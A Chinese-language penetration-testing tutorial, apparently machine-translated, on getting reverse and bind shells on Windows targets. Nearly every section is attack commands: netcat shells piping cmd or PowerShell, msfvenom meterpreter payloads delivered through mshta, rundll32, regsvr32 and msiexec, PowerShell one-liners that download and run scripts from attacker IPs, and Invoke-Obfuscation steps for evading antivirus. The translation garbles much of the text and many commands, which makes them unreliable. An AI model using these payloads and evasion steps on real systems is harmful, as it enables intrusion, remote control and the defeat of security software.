渗透测试如何入门,渗透测试入门教程

  渗透测试如何入门,渗透测试入门教程

  本文介绍shell常用的反弹方法NetCat(NC)反弹向前NC反向NC mshta.exe使用msf利用模块方法一(msfconsole)方法二(msfvenom) Cobaltstrike利用模块hta攻击源代码rundll32.exe使用msf利用模块方法一(msfconsole)方法二(msfvenom) Rundll32使用msf加载HTA Regsvr32.exe使用模块msiexec.exe使用msf使用模块powershell脚本powershell加载远程脚本powershell版本NC反弹shellmsfconsole生成CS使用powershell执行。使用PowerShell执行vbs文件。bat文件绕过软件查杀混淆处理。

  壳牌反弹简介

  shell的反弹主要是指我们可以远程连接目标控制台,发出指令控制目标资产!

  炮弹反弹分为:

  前向弹跳:控制端(也就是我们自己的机器)发送请求连接到受控端(目标机器)的方式。

  但是这种方法会受到很多因素的影响,比如防火墙、路由等。而且很难成功。

  反向反弹:受控端主动发送请求连接到我们的控制端。

  这种方法可以找到避免防火墙和路由的一些限制的方法!

  NetCat(NC),常见的反弹方式,正常情况下,Windows系统中没有NC。如果要用NC,需要先把这个程序上传到目标机器上。这里,网上找资源。我的NC本来想把它转到CSDN,但它不能被批准,所以没有办法。

  下载nc后,可以将其光盘到下载目录,也可以将nc目录添加到环境变量中使用!

  NC的积极反弹就是在目标机先准备好的情况下等待攻击机的连接。所以我们现在需要在受控端执行命令,然后在控制端执行连接!

  #受控终端# #使用更详细的(-vv)监听模式(-l)监听指定端口号(P)的入站信息,入站程序导入指定程序(-e)。Nc -lvvp端口号-e使用程序# #如(受控端将本地powershell程序重定向到本地端口6543,控制端只需主动连接端口6543即可获得该程序的使用权!)nc -lvvp 6543 -e powershell.exe#控制终端(目前我控制的终端地址是:192.168.1.251)nc目标地址端口nc 192.168.1.251 6543以上powershell可以换成cmd!

  NC正好是前进方向的反义词。现在我们需要在控制机中开启监控,等待被控机主动连接我们!

  #控制端nc -lvvp端口#如nc -lvvp 4567#被控端使用的NC-E的目标地址端口(当前控制端IP为192.168.1.169) #如NC-E cmd.exe 192 . 168 . 1 . 169 4567

  Mshta.exe mshta.exe是一个Windows系统应用程序,负责解释和运行HTA(HTML应用程序)文件。可以运行JavaScript或VBScript的HTML文件。这是一个Windows系统自带的应用!我们可以利用我们的。hta木马来反弹外壳!

  msf utilization模块方法1 (msfconsole)模块地址:exploit/windows/misc/HTA服务器

  #进入msf模块使用Exploit/Windows/Misc/HTA _服务器#这个模块我们需要设置srvhost和srvport,因为这个攻击载荷会打开一个web服务供目标访问!这里,srvhost和srvport用于定义服务在哪个ip和端口上打开。默认情况下,0.0.0将在所有本地ip上打开!set srvhost本地IP#使用的攻击有效载荷,我是Windows/x64/meter preter/reverse _ TCP SetPayload攻击有效载荷set Payload Windows/x64/meter preter/reverse _ TCP #默认为x86。这里,我们选择x64 set target 1#来绑定攻击机IPset lhost 192.168.1.200#来开始脚本运行。

  启动后,会生成一个目标地址。你只需要让目标执行mshta目标地址(mshta http://192 . 168 . 1 . 200:8080/PGE 4 ymvu 3 VQ . HTA)就可以上线了!

  方法2 (msfvenom) msfvenom模块也支持。hta文件。

  #/执行木马文件MSF venom-pwindows/x64/Meter Preter/Reverse _ tcplhost=192 . 168 . 1 . 200 lport=4456-fhta-psh-O1 . HTA #启动简单服务器,供目标机器下载木马(当前为http://192.168.1.200: 6123/1.hta)在Python 3-M http.server6123 #中执行监控

  机器也是通过执行mshta http://192 . 168 . 1 . 200:6123/1 . HTA有针对性的上线!

  Cobaltstrike利用模块除了上面提到的msf,cs还可以生成hts文件并使用!

  首先,我们在生成后门的选项中选择HTML应用程序,并保存生成的。hta文件。

  然后使用钓鱼工具中的文件下载打开下载服务供目标下载。

  然后只需要目标执行mshta http://43 . 128 . 11 . 131:8081/download/file . ext即可上线。

  注意:这里生成的木马是32位的,64位主机运行时可能会出问题!如果是64位主机,不如运行msf中生成的木马!

  Hta攻击源代码我们从上面msf生成的hta木马源文件可以看出,其实这次攻击最后调用powershell来执行一些反弹壳操作!但是进行了一些混淆操作,降低了被查杀软件发现的可能性!

  在rundll32.exe用过Python的人应该知道,Python之所以强大,是因为有很多库的支持。比如我们要生成一个随机数,只需要调用随机库。而动态链接库(dll)是Windows中的一个库。它包含了一些常用的方法,允许不同的程序调用它的代码和数据。在这里,Rundll32.exe是Windows中专门用来调用这些库(dll)中的函数(16位或32位)并将其存储在适当的内存库中的程序。

  msf利用率模块方法一(msfconsole)使用模块:exploit/windows/SMB/SMB _ delivery。

  这里需要注意的是,我们要以root身份运行msf,因为后面会调用端口445,只有root用户才有权限使用这个端口(下载dll的时候,默认是从445下载的,修改端口会比较麻烦!)

  # Use This module Use Exploit/Windows/SMB/SMB _ Delivery #默认情况下这个命令会转移端口445,所以最好不要在这里将其更改为另一个端口。目标机器在下载dll文件时会默认使用端口445!#绑定攻击机IPset lhost 192.168.1.200#接下来,因为端口4444已经被占用,我换了端口。在设置lport 4454#的操作之后,将产生一个rundll32.exe命令。只要在目标机器上执行这个命令就可以上线# rundll32.exe 192 . 168 . 1 . 200 KBFWW test。

  方法二(msfvenom) #攻击平面生成文件MSF Venom-Ax64-Platform Windows-P Windows/x64/Meter Preter/Reverse _ TCP LHost=192 . 168 . 1 . 200 lport=5333-F DLL-OTest.dll #打开web服务,提供木马下载python3 -m http.server#打开并监听handler-P Windows/x64/Meter Preter/Reverse _ TCP-h 192 . 168 . 1 . 200-P 5333 #目标下载!Runl32shell32.dll,control _ rundllc: 渗透测试工具test.dll

  Rundl32加载hta Rundll32不仅可以加载dll文件,还可以加载hta。

  #这里,我将为5333调用与上面相同的端口,所以我不需要生成侦听器。MSF毒液-P Windows/x64/Meteor Preter/Reverse _ TCP LHost=192 . 168 . 1 . 200 lport=5333-F HTA-PS h1。HTA #和上面类似,把我们的木马转移到目标机器certutil . exe-URL cache-split-f http://192 . 168 . 1 . 200:7785/1 . HTA #。执行时只需调用url.dll、rundll32.exe URL.dll、openurl c: users xunmi 1.hta

  Regsvr32.exe regsvr 32也是一个dll相关的程序,主要是复制,注册和注销OLE控件。OLE(对象链接和嵌入)控件主要指Windows注册表中的dll和ActiveX控件!默认情况下,此工具将位于文件夹% systemroot % system32(C: Windows system32)中

  使用SVR 32的常用属性/u注销服务器/i调用DllInstall传递可选的[cmdline];与/u一起使用时调用dll卸载/n不要调用DllRegisterServer此选项必须与/i一起使用以使/s静音;不显示消息框msf使用模块使用模块:exploit/multi/script/web _ delivery

  #先把生成的攻击文件设置成Regsvr32格式,设置target 3#,选择攻击有效载荷,设置有效载荷Windows/x64/meter preter/reverse _ TCP #,绑定攻击机IPset lhost 192.168.1.200#,然后根据自己的机器端口占用情况设置lport和srvport!

  Msiexec.exemsiexec.exe是Windows系统的安装引擎,也是微软的安装包。msi(MSI:microsoft installer)使用msiexec.exe来解释安装。我在我的博客“总是安装提升的”中说过,如果管理员没有正确配置,我们可以利用。msi安装程序来执行特权命令。有兴趣的同学可以查一两个。

  这里的msf利用模块主要是利用msfvenom模块生成一个msi命令包。

  #也是老师的目标MSF Venom-p Windows/x64/Meteor Preter/Reverse _ TCP LHost=192 . 168 . 1 . 200 lport=4578-FMMSI 1 . MSI #挂载它用于下载python3 -m http.server 6542#设置监控处理程序-p Windows/x64/meter Preter/Reverse _ TCP-h 192 . 168 . 1 . 200-p 4578 #下载执行(/q是静默执行/i从上面mshta.exe攻击的源代码可以看出,我们生成的大部分反弹壳脚本本质上都是各种皮肤的PowerShell脚本。

  加载powershell远程脚本#生成PowerShell的反弹脚本MSF Venom-P Windows/x64/Meteor Preter/Reverse _ TCP LHost=192 . 168 . 1 . 200 lport=4578-F PSH-Reflection-O Shell。PS1 # Mount it for download python 3-m http . server 6542 #执行rebound shell命令(使用隐藏无限旁路),(IEX)远程脚本加载到内存)PowerShell-Window风格隐藏-Exec Bypass-C IEX(new-object net . webclient)。download string( 3358192 . 168 . 1 . 200:6542/shell . PS1 );在目标机器中的cmd中执行了上面的rebound shell脚本之后,将在cmd中启动一个powershell子例程来执行我们的rebound命令!

  powershell NC开源版本:https://github.com/besimorhino/powercat

  首先我们需要把这个脚本上传到目标无人机上!

  #现在在我们的攻击机中启动nc来监控nc -lvvp 12345#然后加载一个远程脚本来连接我们的攻击机,即PowerShell-C IEX(new-object system . net . webclient)。download string( 335843 . 128 . 11 . 131:8000/powercat . PS1 ); powercat-c 192 . 168 . 1 . 200-p 12345-e cmd

  通过Web delivery反弹shell msfconsole生成使用模块:use exploit/multi/script/Web _ delivery。

  use exploit/multi/script/web _ delivery #常规配置设置有效负载windows/x64/meter preter/reverse _ TCP settarget 2设置lhost 192.168.1.200设置lport 8525运行

  CS生成的具体用法如下图所示。只要想办法让生成的命令被目标机执行就行了!

  使用powershell执行。vbs文件并启动。vbs。我们需要cscript.exe,它可以执行wsf,js和vbscript脚本。

  #脚本MSF Venom-p Windows/x64/Meter Preter/Reverse _ TCP LHost=192 . 168 . 1 . 200 lport=7777-f VBS-O1。VBS #挂载用于下载python3 -m http.server 6542#启动处理程序-p windows/x64/meter preter/reverse _ TCP-h 192 . 168 . 1 . 200-p 7777 #执行反弹shell命令PowerShell-C (new-object system . net . webclient)。download file( http://192 . 168 . 1 . 200:6542/1 . VBS , $ env:temp test . VBS );start-process cscript . exe“$ env:temp test . VBS”使用powershell执行。bat档。bat是Windows下的批处理文件,默认可以被Windows直接调用执行。理论上是挺方便的,但是我还没有成功重现这个方法。

  #第一个老师变成了。bat MSF venom-p cmd/Windows/PowerShell _ Reverse _ tcplhost=192 . 168 . 1 . 200 lport=7788-O1 . bat #并挂载它用于下载python3 -m http.server 6542#启动监听器处理程序-p cmd/Windows/PowerShell _ Reverse _ TCP-h 192 . 168 . 1 . 200-p 7788 #执行反弹shell命令PowerShell-window style hidden-exec bypass-c iex(new-object netdownload string( 3358192 . 168 . 1 . 200:6542/1 . bat );1 . bat ;Powershell-C iex(新对象系统。net.webclient)。download string( 3358192 . 168 . 1 . 200:6542/1 . bat )绕过软件查杀和混淆。这里我将主要使用PowerShell模块Invoke-Obfuscation来进行混淆。

  :https://github.com/danielbohannon/Invoke-Obfuscation

  #设置powershell的模式,让我们的脚本可以自由运行powershell . exe-EP bypass # Load script import-module。/Invoke-Obfuscation.psd1 #启动脚本调用-模糊处理

  设置要混淆的源代码的位置。

  script path I: penetration test temporary file source回弹shell code.ps1

  设置混淆模式

  Tokenall1#或(具有相同效果)tokenall1

  输出混淆文件

  Out: 渗透测试临时文件混淆代码. ps1

  通过对比可以看出,这种混淆的原理会把我们原来的代码关键词打乱顺序,让杀毒软件找不到我们木马的特征!除此之外,Invoke-Obfuscation还有很多其他的加密混淆功能!

渗透测试如何入门,渗透测试入门教程